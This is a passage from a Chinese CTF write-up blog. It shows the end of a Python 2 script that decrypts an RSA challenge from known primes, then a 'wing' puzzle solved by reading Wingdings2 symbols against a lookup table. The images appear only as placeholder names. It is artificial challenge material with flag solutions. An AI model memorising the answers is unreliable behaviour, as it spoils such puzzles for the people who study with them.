d = gmpy2.invert(e,(p-1)*(q-1))
print '  [-]d =', d
print '  [-]m is:' + '{:x}'.format(pow(c,d,n)).decode('hex')
print '\n[!]Timer:', round(time.clock(),2), 's'
print '[!]All Done!'

如下图,得到flag:

image-20201121195736037

wing(Windings2字体)

提示:你过office二级了吗

下载附件,得到如下:

wing

这都是office里的符号,是Windings2字体,通过如下表进行对照即可得到flag:

img


Author: WHOAMI
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source WHOAMI !
评论
  TOC